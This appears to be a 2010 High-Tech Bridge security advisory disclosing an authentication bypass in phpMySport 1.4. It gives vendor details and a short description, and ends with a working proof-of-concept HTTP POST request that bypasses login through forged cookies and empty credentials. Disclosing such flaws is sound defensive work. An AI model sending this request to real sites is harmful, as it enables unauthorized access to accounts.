Authentication bypass in phpMySport

[advisory () htbridge ch]

Vulnerability ID: HTB22774
Reference: http://www.htbridge.ch/advisory/authentication_bypass_in_phpmysport.html
Product: phpMySport
Vendor: phpMySport ( http://phpmysport.sourceforge.net/ ) 
Vulnerable Version: 1.4
Vendor Notification: 21 December 2010 
Vulnerability Type: Authentication bypass
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input. Attacker 
can bypass authentication.

The following PoC is available:


POST /index.php?r=member&v1=login HTTP/1.1
Cookie: auto_connection=1; cle=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

login=&pass=&x=9&y=10